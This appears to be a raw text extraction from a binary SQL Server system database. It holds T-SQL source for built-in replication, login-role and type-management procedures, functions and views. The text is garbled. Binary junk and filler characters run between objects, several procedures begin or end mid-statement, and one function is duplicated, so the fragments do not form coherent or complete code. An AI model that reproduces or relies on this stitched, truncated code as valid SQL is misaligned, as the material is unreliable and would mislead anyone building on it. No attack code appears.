	FROM OpenRowSet(TABLE DM_EXEC_BACKGROUND_JOB_QUEUE_STATS)
0 n8CREATE FUNCTION sys.fn_ispkcomputed 
(
    @object_id int
)
returns bit
as
begin
    --query sys.indexes to find out index id for primary key 
    --join sys.index_columns to find out columns in primary key
    --join sys.columns to find out if computed 
    return case 
        when exists (select sc.name
                        from sys.columns sc 
                            join sys.indexes  si
                                on sc.object_id = si.object_id and si.is_primary_key = 1 
                            join  sys.index_columns sic 
                                on sc.object_id = sic.object_id and si.index_id = sic.index_id 
                                     and sic.column_id = sc.column_id and sc.is_computed = 1
                        where sc.object_id = @object_id)
        then 1 else 0 end
end
0Ǒ@ 8
create procedure sys.sp_dropsubscription
(
	@publication sysname = NULL,
	@article sysname = NULL,
	@subscriber sysname,
	@destination_db sysname =NULL,	-- If null, all the subscriptions from that subscriber will be dropped
	@ignore_distributor bit = 0,
	@reserved nvarchar(10) = NULL,	-- reserved, used when calling from other system 
									-- stored procedures, it will be set to 'internal'.
									-- It should never be used directly
	@publisher sysname = NULL
)
AS
BEGIN
	DECLARE @cmd			nvarchar(4000)
	DECLARE @retcode		int
	DECLARE @publisher_type	sysname

	SET @retcode = 0
	
	EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher		= @publisher,
													@publisher_type	= @publisher_type OUTPUT,
													@rpcheader		= @cmd OUTPUT
	
	IF @retcode <> 0
		RETURN (@retcode)

	-- Add sp
	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT
	set @cmd = @cmd + N'sys.sp_MSrepl_dropsubscription'

	EXEC @retcode = @cmd
					@publication,
					@article,
					@subscriber,
					@destination_db,
					@ignore_distributor,
					@reserved,
					@publisher,
					@publisher_type

	RETURN (@retcode)
END
me = name
        FROM	msdb.dbo.syscategories
        WHERE	category_id = 17
        
        EXEC @retcode = msdb.dbo.sp_MSadd_repl_job	@agentname,
													@subsystem              = 'TSQL',
													@server                 = @@servername,
													@databasename           = N'master',
													@description            = @description,
													@freqtype               = 4,				-- daily
													@activestarttimeofday   = 010000,			-- from 01:00:00 am
													@command                = @command,
													@enabled                = 1,
													@retryattempts          = 0,
													@loghistcompletionlevel = 0,
													@category_name          = @category_name
    
        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
             RETURN (1)
        END
    END

    -- Add Expired subscription cleanup alert if it doesn't already exist             
    SELECT	@category_name = name
    FROM	msdb.dbo.syscategories
    WHERE	category_id = 20

    SET	@alert_name = formatmessage(20538)    

	-- corresponding to formatmessage(20538)
    SET	@alert_id = 14157 

    IF NOT EXISTS
    (
    	SELECT	*
    	FROM	msdb.dbo.sysalerts
    	WHERE	message_id = @alert_id
    )
    BEGIN
        EXEC @retcode = msdb.dbo.sp_add_alert	@enabled = 0,
        										@name = @alert_name,
        										@category_name = @category_name,
        										@message_id = 14157

        IF (@@ERROR != 0 OR @retcode != 0)
        BEGIN
             RETURN (1)
        END
    END
    
	RETURN @retcode
END
0 n8CREATE FUNCTION sys.fn_ispkcomputed 
(
    @object_id int
)
returns bit
as
begin
    --query sys.indexes to find out index id for primary key 
    --join sys.index_columns to find out columns in primary key
    --join sys.columns to find out if computed 
    return case 
        when exists (select sc.name
                        from sys.columns sc 
                            join sys.indexes  si
                                on sc.object_id = si.object_id and si.is_primary_key = 1 
                            join  sys.index_columns sic 
                                on sc.object_id = sic.object_id and si.index_id = sic.index_id 
                                     and sic.column_id = sc.column_id and sc.is_computed = 1
                        where sc.object_id = @object_id)
        then 1 else 0 end
end
0@ 8
CREATE PROCEDURE sys.sp_checkOraclepackageversion
(
    @publisher          sysname,
    @versionsmatch      int OUTPUT,
    @packageversion		nvarchar(256) OUTPUT 
)
AS
BEGIN
    set nocount on
    DECLARE @cmd nvarchar(4000)
                ,@retcode int
                ,@publisher_type sysname

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo
        @publisher        = @publisher,
        @rpcheader        = @cmd OUTPUT,
        @publisher_type   = @publisher_type OUTPUT,
        @skipSecurityCheck=1
    IF @retcode <> 0
        RETURN (@retcode)

    -- Reject unsupported publisher types
    IF @publisher_type NOT IN (N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21645, 16, -1, @publisher_type)
        RETURN (1)
    END                                                                     

    SELECT @publisher = UPPER(@publisher) 
            ,@cmd = @cmd + N'sys.sp_MSrepl_checkOraclepackageversion'
    
    EXEC @retcode = @cmd
                    @publisher,
                    @versionsmatch OUTPUT,
                    @packageversion OUTPUT

    RETURN (@retcode)
END
Ye`b<qr=SFO0@ y8CREATE VIEW sys.securable_classes AS
	SELECT * FROM OpenRowset(TABLE SECURABLECLASSES)
0 8-- FOR BACKWARD COMPATIBILTY ONLY --
create procedure sys.sp_addsrvrolemember
    @loginame sysname,			-- login name
    @rolename sysname = NULL	-- server role name
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,    -- return value of sp call
			@stmtR		nvarchar(4000)

    -- Was a part of check to prevent inside a user Xact. Leave for backward compat.--
	set implicit_transactions off

	exec @ret = sys.sp_validname @rolename
	if @ret <> 0
		return(1)

	exec @ret = sys.sp_validname @loginame
	if @ret <> 0
		return(1)

	BEGIN TRANSACTION
		-- LOCK LOGIN --
		EXEC %%LocalLogin(Name = @loginame).Lock(Exclusive = 1)

	    -- ADD ROW FOR NT LOGIN IF NEEDED --
		if @@error <> 0	-- not found
	    begin
	        execute @ret = sys.sp_MSaddlogin_implicit_ntlogin @loginame
	        if (@ret <> 0)
		    begin
				ROLLBACK TRANSACTION
			    raiserror(15007,-1,-1,@loginame)
			    return (1)
		    end
			-- login locked
	    end

		set @stmtR = 'alter server role '
		set @stmtR = @stmtR + quotename(@rolename, ']')
		set @stmtR = @stmtR + ' add member '
		set @stmtR = @stmtR + quotename(@loginame, ']')

	    -- issue DDL to create the role --
		exec (@stmtR)	
		if @@error <> 0
	    begin
	    	ROLLBACK TRANSACTION
		    return (1)
	    end

    -- RETURN SUCCESS --
    COMMIT TRANSACTION
	return (0) -- sp_addsrvrolemember
02- 
8create procedure sys.sp_MSdropdynsnapshotvws (
    @dynamic_snapshot_views_table sysname
    )
as
begin
    set nocount on
    declare @retcode int   
    declare @final_retcode int
    declare @select_command nvarchar(4000)
    declare @old_dynamic_snapshot_view_name sysname
    declare @dynamic_snapshot_view_name sysname
    declare @drop_view_command nvarchar(4000)
    declare @select_param_list nvarchar(4000)

    select @final_retcode = 0
    select @retcode = 0
    -- Security check 
    exec @retcode = sys.sp_MSreplcheck_publish
    if @@error<>0 or @retcode<>0
    begin
        return 1
    end

    -- For the first fecth, don't do comparison with the old view name...
    select @dynamic_snapshot_view_name  = null       
    select @select_command = N'
        select @dynamic_snapshot_view_name = min(dynamic_snapshot_view_name)
          from ' + quotename(@dynamic_snapshot_views_table)

    select @select_param_list =         
        N'@dynamic_snapshot_view_name sysname output'

    exec @retcode = sys.sp_executesql @select_command,
        @select_param_list,
        @dynamic_snapshot_view_name = @dynamic_snapshot_view_name output
    if @@error<>0 or @retcode<>0
    begin
        select @final_retcode = 1
    end

    -- Change query to do comparison with the old name
    select @select_command = N'
        select @dynamic_snapshot_view_name = min(dynamic_snapshot_view_name)
          from ' + quotename(@dynamic_snapshot_views_table) + N' 
         where dynamic_snapshot_view_name > @old_dynamic_snapshot_view_name'
    
    select @select_param_list =         
        N'@dynamic_snapshot_view_name sysname output, 
          @old_dynamic_snapshot_view_name sysname'

    -- Keep selecting view with the smallest name that
    -- is greater than the last one until we are done
    while @dynamic_snapshot_view_name is not null
    begin

        select @drop_view_command = N'drop view ' + 
            quotename(@dynamic_snapshot_view_name)
        exec(@drop_view_command)    
        if @@error<>0
        begin
            select @final_retcode = 1 
        end

        -- Drop the temporary function created for the dynamic snapshot view
        select @drop_view_command = 'drop function dbo.' + 
                quotename(@dynamic_snapshot_view_name + '_FN')
        exec(@drop_view_command)
        if @@error<>0
        begin
            select @retcode = 1
        end       

        delete MSdynamicsnapshotviews 
         where dynamic_snapshot_view_name = @dynamic_snapshot_view_name      
        if @@error<>0
        begin
            select @final_retcode = 1 
        end

        select @old_dynamic_snapshot_view_name = @dynamic_snapshot_view_name
        select @dynamic_snapshot_view_name = null
        exec @retcode = sys.sp_executesql @select_command,
            @select_param_list,
            @dynamic_snapshot_view_name = @dynamic_snapshot_view_name output,
            @old_dynamic_snapshot_view_name = @old_dynamic_snapshot_view_name  

        if @@error<>0 or @retcode<>0
        begin
            select @final_retcode = 1
        end
    end 
    -- At the end, we need to drop the temp table
    declare @drop_table_command nvarchar(4000)
    select @drop_table_command = N'drop table ' + quotename(@dynamic_snapshot_views_table)
    exec(@drop_table_command)
    if @@error<>0
    begin
        select @final_retcode = 1
    end
    return @final_retcode    
end
          N' when ' + @bitstr + N' then convert(xml, ' + quotename(@colname) + N') ' + 
                N' else ' + @typed_null 
                +' end'
        end
        else
        begin
            select @column = N'case substring(@bitmap,' + @bytestr + N',1) & ' + @bitstr +  
                N' when ' + @bitstr + N' then ' + quotename(@colname) + N' ' + 
                N' else ' + @typed_null 
                +' end'
        end
    end
    else if ((@is_new = 0) and 
        (@ts_col is not null and @colname not in (@ts_col, N'msrepl_tran_version')) and
        (@primary_key_bitmap is not null and 
        (substring(@primary_key_bitmap, 1 + (@art_col-1) / 8 , 1) & power(2, (@art_col-1) % 8 )) = 0))
        select @column =  @typed_null
    else 
        select @column = quotename(@colname)
    
    -- Add a new line
    select @column = @column + N'
    '
end
0^ p8
--
-- Name:
--		sp_getdefaultdatatypemapping
--
-- Description:
--		Retrieve default data type for specified parameters
--
-- Returns:
--		0 if successful
--		1 if failed
--
-- Security:
--		Public
--
-- Notes:
--		
--

create procedure sys.sp_getdefaultdatatypemapping
(
	@source_dbms			sysname,
	@source_version			varchar(10) = NULL,
	@source_type			sysname,
	@source_length			bigint = NULL,
	@source_precision		int = NULL,
	@source_scale			int = NULL,
	@source_nullable		bit = 1,
	@destination_dbms		sysname,
	@destination_version	varchar(10) = NULL,
	@destination_type		sysname OUTPUT,
	@destination_length		bigint OUTPUT,
	@destination_precision	int OUTPUT,
	@destination_scale		int OUTPUT,
	@destination_nullable	bit OUTPUT,
	@dataloss				bit OUTPUT
)
as
BEGIN
	DECLARE @retcode int
	SET @retcode = 0

	--
    -- Security Check: require sysadmin
	--
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END


	-- Check if type even exists
	IF (sys.fn_MSrepl_checktype(@source_type, @source_dbms, @source_version) = 0)
	BEGIN
		RAISERROR(21654, 16, -1, @source_type)
		RETURN (1)
	END
	
	SELECT	@destination_type		= destination_type,
			@destination_length		= destination_length,
			@destination_precision	= destination_precision,
			@destination_scale		= destination_scale,
			@destination_nullable	= destination_nullable,
			@dataloss				= dataloss
	FROM	sys.fn_MSrepl_getdatatypemappings
			(
				@source_dbms,
				@source_version,
				@source_type,
				@source_length,
				@source_precision,
				@source_scale,
				@source_nullable,
				@destination_dbms,
				@destination_version,
				1,
				NULL
			)
			
	IF @@ROWCOUNT = 0
	BEGIN
		RAISERROR (21656, 16, -1, @source_type)
		RETURN (1)
	END

	RETURN (0)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`TjN`<sն|0n 8create procedure sys.sp_revokedbaccess
	@name_in_db     sysname
as
    -- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
	set nocount on
	declare @ret        int,
			@stmtU		nvarchar(4000)

    -- DISALLOW USER TRANSACTION --
	set implicit_transactions off
	IF (@@trancount > 0)
	begin
		raiserror(15002,-1,-1,'sys.sp_revokedbaccess')
		return (1)
	end
	
	exec @ret = sys.sp_validname @name_in_db
	if @ret <> 0
		return(1)

	BEGIN TRANSACTION
	-- drop user
        -- for guest disable its access to database, this way guest schema is not dropped
	declare @guestname sysname
	set @guestname='guest'

    if lower(@name_in_db) = @guestname 
	begin 
		if db_id() in (1,2)
		begin
			ROLLBACK TRANSACTION
			raiserror(15182,-1,-1)			
			return (1)		
		end

		-- don't let disable guest twice
		if not exists (select * from sys.database_permissions p where p.class = 0 and p.major_id = 0 and p.minor_id = 0
			and p.grantee_principal_id = 2 and p.type = 'CO' and p.state in ('G','W')
			and not exists (select * from sys.database_permissions d where d.class = 0 and d.major_id = 0 and d.minor_id = 0
				and d.grantee_principal_id = p.grantee_principal_id and d.type = 'CO' and d.state = 'D'))
		begin
			ROLLBACK TRANSACTION
			raiserror(15539,-1,-1,@name_in_db)
			return (1)
		end
	end
	else
	begin
		-- this will drop the schema owned by the user that has the same name as the user,
		-- if such schema exists
		EXEC %%Owner(Name = @name_in_db).DropSchema(OwnerType = 1)
		if @@error <> 0
		begin
			ROLLBACK TRANSACTION
			-- error message comes from inside the invoke
			return (1)
		end
	end

	set @stmtU = 'drop user ' + quotename(@name_in_db, ']')

	-- drop the owner
	exec (@stmtU)
	if @@error <> 0
	begin
		ROLLBACK TRANSACTION
		-- error message comes from inside the statement
		return (1)
	end
    
	COMMIT TRANSACTION

    -- RETURN SUCCESS --
    return (0)	-- sp_revokedbaccess
0T 8create procedure sys.sp_adjustpublisheridentityrange (
    @publication    sysname = NULL,
    @table_name         sysname = NULL,
    @table_owner    sysname = NULL
)
AS
set nocount on

declare @retcode                 int, @object_found bit
declare @objid                    int
declare @qualified_table_name    nvarchar(260)
declare @identity_support        int
declare @pubid                    uniqueidentifier

select @object_found = 0

/*
** Security Check
*/
EXEC @retcode = sys.sp_MSreplcheck_publish
IF @@ERROR <> 0 or @retcode <> 0
    return (1)

if ((@publication is NULL and @table_name is NULL) or 
        (@publication is not NULL and @table_name is not NULL))
begin
    raiserror(21314, 16, -1, '@publication', '@table_name')
    return (1)
end

if @publication is NULL
begin
    if @table_owner is NULL
        select @table_owner = schema_name()
    select @qualified_table_name = QUOTENAME(@table_owner) + '.' + QUOTENAME(@table_name)
    
    select @objid = object_id(@qualified_table_name)
    if @objid is NULL
    begin 
        RAISERROR (14027, 11, -1, @qualified_table_name)
        return (1)
    end
end

--Do this for merge?
if object_id('sysmergepublications') is not NULL
begin
    if @publication is NULL
    begin
        select @identity_support = identity_support from dbo.sysmergearticles where objid=@objid
        if @identity_support is not null
        begin
            select @object_found = 1
            if @identity_support = 0
                return (0)
            exec @retcode = sys.sp_MSadjustmergeidentity @qualified_table_name=@qualified_table_name    
            if @retcode<>0 or @@ERROR<>0
            begin
                raiserror(21315, 16, -1, @table_name)
                return (1)
            end
        end
    end

    if @table_name is NULL
    begin
        select @pubid=pubid FROM dbo.sysmergepublications
            WHERE name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
        if @pubid is not null
        begin
            select @object_found = 1
            if not exists (select * from dbo.sysmergearticles where pubid=@pubid and identity_support=1)
                return (0)
            exec @retcode = sys.sp_MSadjustmergeidentity @publication=@publication
            if @retcode<>0 or @@ERROR<>0
            begin
                raiserror(21316, 16, -1, @publication)
                return (1)
            end    
        end    
    end
end

if object_id('syspublications') is not NULL
begin
    if @publication is NULL
    begin
        declare @artid int
        select top 1 @artid = artid from sysarticles where 
            objid = @objid
        if @artid is not null
        begin
            select @object_found = 1
            exec @retcode = sys.sp_MSpub_adjust_identity @artid
            if @retcode<>0 or @@ERROR<>0
                return (1)
        end
    end
    else
    begin
        declare @publication_id int
        select @publication_id = pubid from syspublications where name = @publication
        if @publication_id is not null
        begin
            select @object_found = 1
            DECLARE adjust_identity CURSOR LOCAL FAST_FORWARD FOR
                SELECT art1.objid
                  FROM sysarticles art1,
                       sysarticleupdates art2
                  where art1.pubid = @publication_id and
                        art1.artid = art2.artid and
                        art2.identity_support = 1 and
                        (art1.artid = @artid or @artid is null)
            FOR READ ONLY

            OPEN adjust_identity        
            FETCH adjust_identity INTO @objid
            WHILE (@@fetch_status <> -1)
            begin
                exec @retcode = sys.sp_MSpub_adjust_identity @artid
                if @retcode<>0 or @@ERROR<>0
                    return (1)
                FETCH adjust_identity INTO @objid
            end
        end
    end
end
if @object_found = 0
begin
    if @publication is null
        raiserror(21246, 16, -1, @qualified_table_name)
    else
        RAISERROR (20026, 11, -1, @publication)
end

RETURN (0)
- For system procedures.
    -- We don't have info about numbered system procedures(sp_ddopen;2, etc.)
    select
        name                = o.name,
        object_id           = o.object_id,
        schema_id           = o.schema_id,
        procedure_number    = convert(smallint, -- not in sys.system_objects
                                       case     -- These conditions should match the ones in sys.spt_parameters_numbered_parameters
                                           when o.type in ('P', 'PC') then 1
                                           else                            0 -- 'FN', 'TF', 'IF'
                                       end),
        type                = o.type,
        create_date         = o.create_date
    from
        sys.system_objects o
    where
        o.type in ('P', 'FN', 'TF', 'IF', 'PC') -- Object type of Procedure

T++`C
<st810> w8create procedure sys.sp_addtype
	@typename sysname,			-- name of user-defined type
	@phystype sysname,			-- physical system type of user-defined type
	@nulltype varchar(8) = null,-- nullability of new type
	@owner sysname = null		-- Owner of type (ignored)
as
	set nocount on

	declare @isnull bit			-- default is getansinull()
	declare @systemtype sysname 
	declare @numqual1 sysname
	declare @numqual2 sysname 			
	
	select @nulltype = lower(rtrim(@nulltype))
	select @phystype = lower(rtrim(@phystype collate Latin1_General_CI_AS))
	select @systemtype = @phystype
	
	declare @stmt nvarchar(1280)

	-- Warning: User types created via sp_addtype are contained in dbo schema. The @owner parameter is ignored.
	if (@owner is null)
		select @owner = user_name()
	if (@owner <> N'dbo')
		raiserror(15166, 10, 1)

	-- sp_add/droptype only deal with types owned by dbo. So you need to be
	-- db_owner, db_ddladmin or sa (covered by db_owner check) to be able 
	-- to create a type.
	if is_member('db_owner')=0 and is_member('db_ddladmin')=0
	begin
		raiserror(15247, -1, -1)
		return (1)
	end

	-- Check null status of the user type
	-- types based on bit not-null by dflt for bckwrd-compat
	if @systemtype = 'bit' and @nulltype is null
					-- If user didn't specify nullability,
					-- make sure it doesn't get set to nullable
					-- by getansinull()
			select @nulltype = 'not null'

	--  Should the user type allow null?
	select @isnull = (case
		when @nulltype is null then getansinull()
		when @nulltype = 'null' then 1
		when @nulltype in ('not null','nonull') then 0
		end)
	if @isnull is null
	begin
		raiserror(15085,-1,-1)
		return (1)
	end


	-- Check that the physical type string matches expected pattern.
	-- It should be one of <string(s)>, <string(s)>(number), or <string(s)>(number, number)
	-- where <string(s)> when normalized into a single name should be found to be a system type. 
	-- Breakdown the @phystype into '@systemtype (@numqual1, @numqual2)'
	if @systemtype like '_%(_%,_%)%'
	begin		
		-- There should be no trailing string after the ')'
		if (len(@systemtype) - charindex(')',@systemtype)) > 0
		begin
			raiserror(15036,-1,-1,@phystype)
			return (1)
		end	

		-- santity check the offsets before parsing
		if 	(charindex(',',@systemtype) < charindex('(',@systemtype)) or
			(charindex(',',@systemtype) > charindex(')',@systemtype))
		begin
			raiserror(15036,-1,-1,@phystype)
			return (1)		
		end
		
		select @numqual1 = substring(@systemtype,
			charindex('(',@systemtype) + 1,
			charindex(',',@systemtype) - 1 - charindex('(',@systemtype))
		
		select @numqual2 = substring(@systemtype,
			charindex(',',@systemtype) + 1,
			charindex(')',@systemtype) - 1 - charindex(',',@systemtype))
			
		-- Extract typename
		if @systemtype is not null 
			select @systemtype = substring(@systemtype, 1, charindex('(', @systemtype) - 1)
	end
	else if @systemtype like '_%(_%)%'
	begin
		-- There should be no trailing string after the ')'
		if (len(@systemtype) - charindex(')',@systemtype)) > 0
		begin
			raiserror(15036,-1,-1,@phystype)
			return (1)
		end		

		-- santity check the offsets before parsing
		if 	(charindex(')',@systemtype) < charindex('(',@systemtype))
		begin
			raiserror(15036,-1,-1,@phystype)
			return (1)		
		end
		
		select @numqual1 = substring(@systemtype,
			charindex('(',@systemtype) + 1,
			charindex(')',@systemtype) - 1 - charindex('(',@systemtype))
			
		-- Extract typename
		if @systemtype is not null 
			select @systemtype = substring(@systemtype, 1, charindex('(', @systemtype) - 1)
	end

	-- Normalize typename. 
	select @systemtype = rtrim(@systemtype)
	select @systemtype= (case @systemtype
		when 'character' then 'char'
		when 'character varying' then 'varchar'
		when 'char varying' then 'varchar'
		when 'integer' then 'int'
		when 'dec' then 'decimal'
		when 'binary varying' then 'varbinary'
		when 'national character varying' then 'nvarchar'
		when 'national char varying' then 'nvarchar'
		when 'national character' then 'nchar'
		when 'national char' then 'nchar'
		when 'ncharacter varying' then 'nvarchar'
		when 'ncharacter' then 'nchar'
		when 'nchar varying' then 'nvarchar'
		when 'national text' then 'ntext'
		when 'rowversion' then 'timestamp'
		when 'double precision' then 'float'
		else @systemtype
		end)

	-- disallow new varchar(max) types through sp_addtype
	if @systemtype in ('varchar', 'nvarchar', 'varbinary') and @numqual1 = 'max'
	begin	
		raiserror(15108,-1,-1)
		return (1)
	end

	-- disallow xml (cannot create thru CREATE TYPE either)
	if @systemtype = 'xml'
	begin
		raiserror(15656,-1,-1)
		return (1)
	end

	-- check that type qualifier(s) are numeric.
	if (@numqual1 is not null and isnumeric(@numqual1)=0) or 
	   (@numqual2 is not null and isnumeric(@numqual2)=0)
	begin
		raiserror(15036,-1,-1,@phystype)
		return (1)
	end
	
	--  Check that physhical type exists. System physical types have 
	--  a xusertype < 256 and are owned by sys.
	if not exists (select * from sys.types where user_type_id < 256 
		and (name collate Latin1_General_CI_AS)= @systemtype and schema_id = 4)
	begin
		raiserror(15036,-1,-1,@phystype)
		return (1)
	end

	-- Reconstruct the physical type name from the validated parts
	-- in preparation to call the CREATE TYPE statement.
	select @phystype = @systemtype
	if (@numqual1 is not null and @numqual2 is not null)
		select @phystype = @phystype + '(' + RTRIM(@numqual1) + ',' + RTRIM(@numqual2) + ')'
	else if (@numqual1 is not null)
		select @phystype = @phystype + '(' + RTRIM(@numqual1) + ')'

	-- Construct create type stmt
	select @stmt = 'create type [dbo].' +  quotename(@typename)
		+ ' from ' + @phystype + ' '
		+ case @isnull when 1 then 'null' else 'not null' end

	-- Create user defined type
	EXEC(@stmt)

	return (@@error) -- sp_addtype
0E 8--
-- Name: 
--        fn_isvalidhexstr
--
-- Descriptions:
--        Checks to see if the string is a valid hex value
--
-- Parameter: 
--        @hexstr varchar(700)
-- 
-- Security: 
--        Not exposed externally. Only in resourcedb.
--
-- Returns:
--        0 - Not valid hexstr
--        1 - Valid hexstr
--
create function sys.fn_isvalidhexstr 
(
      @hexstr varchar(700)
)
returns bit
as
begin
    declare @hexstrLen    int,
            @pattern    varchar(8000)

    select @hexstr = rtrim(ltrim(@hexstr)),
            @hexstrLen = isnull(len(@hexstr), 0),
            @pattern = NULL

    -- if the hexstr provided is not at least three char long ('0x0')
    -- then we can assume an invalid hexstr and skip pattern matching
    if @hexstrLen >= 3
    begin
        -- Create the pattern that we will perform the like against. A hexstr can only
        -- be a series of either 0-9, a-f, or A-F. Here we attempt a pattern match for 
        -- each character in the string except for the first two which much match 0[xX]
        select @pattern = '0[xX]' + replicate('[0-9a-fA-F]', @hexstrLen - 2)

        -- Compare the pattern to the hexstr. If they are alike then return 1
        if @hexstr like @pattern
        begin
            return 1
        end
    end

    -- Once we get here we know it it not a valid hexstr
    return 0
end
]`n<jurP0v%@ +8CREATE VIEW sys.numbered_procedures$ AS
	SELECT object_id = v.objid,
		procedure_number = convert(smallint, v.subobjid),
		definition = object_definition(v.objid, v.subobjid)
	FROM sys.sysobjvalues v
	WHERE v.valclass = 1 AND v.valnum = 0 	-- SVC_OBJECTSQLEXPR
0xQ@ z8CREATE VIEW sys.dm_os_sublatches AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_SUBLATCHES)
0</@ 8 
-- add it
create view sys.dm_pdw_query_stats_xe as
select
	event	collate database_default event,
	event_id	collate database_default event_id,
	create_time,
	session_id,
	cpu,
	reads,
	writes,
	sql_text	collate database_default sql_text,
	client_app_name	collate database_default client_app_name,
	tsql_stack	collate database_default tsql_stack,
	pdw_node_id
from sys._dm_pdw_query_stats_xe
0 )
8create procedure sys.sp_MSenum_qreader_sd 
(
    @publication_id int = 0, 
    @time datetime = NULL
)
as
begin
    set nocount on

    declare @time_up datetime
                ,@agent_id int
                ,@final_ts timestamp
                ,@initial_ts timestamp
                ,@session_start timestamp
                ,@next_session_start timestamp
                ,@session_end timestamp

    --
    -- security check
    -- only replmonitor can execute this
    --
    if not (is_member(N'db_owner') = 1 or isnull(is_member(N'replmonitor'),0) = 1)
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

	if (@publication_id = 0)
		select @publication_id = NULL
		
	IF @time IS NULL
		select @time = GETDATE()

	/*
	** Minute-approximate @time can be used.
	** Note: The select only return datetime data with minute precision
	*/
	IF ( (DATEPART(second, @time) = 0) AND
			(DATEPART(millisecond, @time) = 0) )
	BEGIN
		SELECT @time_up = DATEADD(second, +59, @time)
		SELECT @time_up = DATEADD(millisecond, +999, @time)
	END
	ELSE
		SELECT @time_up = @time

	--
	-- Get the agent id
	--
	select TOP 1 @agent_id = agent_id from MSqreader_history with (READPAST)

	--
	-- Get the session start, next session start timestamps
	--
	select @initial_ts = min(timestamp), @final_ts = max(timestamp) from MSqreader_history with (READPAST)
	
	select @session_start = ISNULL(max(timestamp), @initial_ts) from MSqreader_history with (READPAST)
			where agent_id = @agent_id and time <= @time_up and runstatus = 1
			
	select @next_session_start = ISNULL(min(timestamp), @final_ts) from MSqreader_history
			where agent_id = @agent_id and timestamp > @session_start and runstatus = 1

	--
	-- find session end based on @next_session_start
	--
	if (@next_session_start = @final_ts)
		select @session_end = @final_ts
	else
	begin
		select @session_end = max(timestamp)
		from MSqreader_history
		where agent_id = @agent_id and
			timestamp > @session_start and 
			timestamp < @next_session_start
	end
	
	--
	-- Do the select now
	--
	select  runstatus, 
		'time' = sys.fn_replformatdatetime(time), 
		comments, 
	    transaction_id, 
	    transaction_status,
	    commands_processed,
	    subscriber,
	    subscriberdb,
		'error_id' = ISNULL(error_id, 0)
	from MSqreader_history with (READPAST)
	where
		agent_id = @agent_id and
		timestamp >= @session_start and
		timestamp <= @session_end
 	and comments not like N'<stats state%'
 order by timestamp desc
end
0U P8h;
><
zO=
0 8create procedure [sys].[sp_cdc_vupgrade_databases]
as
begin
	declare @db_name sysname
		,@stmt nvarchar(max)
		,@raised_error int
		,@raised_message nvarchar(4000)

    set nocount on

    -- Upgrade all CDC enabled databases
    declare #c_cdc_databases CURSOR LOCAL FORWARD_ONLY for 
        
        SELECT name
        FROM sys.databases
        WHERE is_cdc_enabled = 1 and is_read_only = 0

    open #c_cdc_databases
    fetch #c_cdc_databases into @db_name
    while (@@fetch_status != -1)
    begin 
		-- Call sp_cdc_vupgrade for the CDC enabled database
		set @stmt = quotename(@db_name) + N'.sys.sp_cdc_vupgrade'
		
		begin try
			exec sp_executesql @stmt
		end try
		
		begin catch
			-- Report error as information message and keep going
			select @raised_error = ERROR_NUMBER()
			select @raised_message = ERROR_MESSAGE()
			raiserror(22861, 10, -1, @db_name, @raised_error, @raised_message)  
		end catch
		
        fetch #c_cdc_databases into @db_name

    end -- while cursor

    close #c_cdc_databases
    deallocate #c_cdc_databases
    
    return 0

end
0\@ \8Yah
>
8^
`0@ X8create procedure sys.sp_MSrequestreenumeration
                                                @tablenick int,
                                                @rowguid uniqueidentifier
as
    declare @retcode int
    declare @err int
    declare @rc int
    declare @METADATA_ACTION_ForceReenumeration tinyint

    set @METADATA_ACTION_ForceReenumeration= 5

    exec @retcode= sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0) return 1
    
    update dbo.MSmerge_metadataaction_request
            set action= @METADATA_ACTION_ForceReenumeration,
                    generation=0,
                    changed= null
            where tablenick=@tablenick and rowguid=@rowguid

    select @err= @@error, @rc=@@rowcount
    if @err<>0 return 1
    if @rc>0 return 0

    insert into dbo.MSmerge_metadataaction_request
                                            (tablenick,
                                             rowguid,
                                             action,
                                             generation,
                                             changed)
                                    values
                                            (@tablenick,
                                             @rowguid,
                                             @METADATA_ACTION_ForceReenumeration,
                                             0,
                                             null)
                                             
    if @err<>0 return 1
    return 0
		RAISERROR(21451, 10, -1, 'linked', 'server', @server_name, @remote_login) WITH LOG
		
		-- Get next login
		FETCH NEXT FROM hLogins INTO @server_name, @local_login
	END

	CLOSE hLogins
	DEALLOCATE hLogins
	DROP TABLE #logins

	RETURN 0
END
0 -8--
-- Name: fn_replcheckquotedname
--
-- Description: This helper function returns the len of a quoted identifier.
--	
--
-- Parameters: see fn definition
--
-- Returns: nchar(1) 
--
-- Notes: quote can be either empty, double quote, or bracket
--		
-- Security: not exposed to public
-- 
create function sys.fn_replcheckquotedname
(
@ddloffset nvarchar(max),
@identifier nvarchar(258)
)
returns int
as
begin
declare @len int
		,@quoted_identifier nvarchar(258)

if (substring(@ddloffset, 1, len(@identifier))) = @identifier
begin
	select @len = len(@identifier)
end
else
begin
	select @quoted_identifier = quotename(@identifier)
	if (substring(@ddloffset, 1, len(@quoted_identifier))) = @quoted_identifier
	begin
		select @len = len(@quoted_identifier)
	end
	else
	begin
		select @quoted_identifier = quotename(@identifier, '"')
		if (substring(@ddloffset, 1, len(@quoted_identifier))) = @quoted_identifier
		begin
			select @len = len(@quoted_identifier)
		end
	end
end
return @len

end

	f%
6`
<}vWF0K@ 8create procedure sys.sp_attach_db
	@dbname sysname
	, @filename1 nvarchar(260)
	, @filename2 nvarchar(260) = NULL
	, @filename3 nvarchar(260) = NULL
	, @filename4 nvarchar(260) = NULL
	, @filename5 nvarchar(260) = NULL
	, @filename6 nvarchar(260) = NULL
	, @filename7 nvarchar(260) = NULL
	, @filename8 nvarchar(260) = NULL
	, @filename9 nvarchar(260) = NULL
	, @filename10 nvarchar(260) = NULL
	, @filename11 nvarchar(260) = NULL
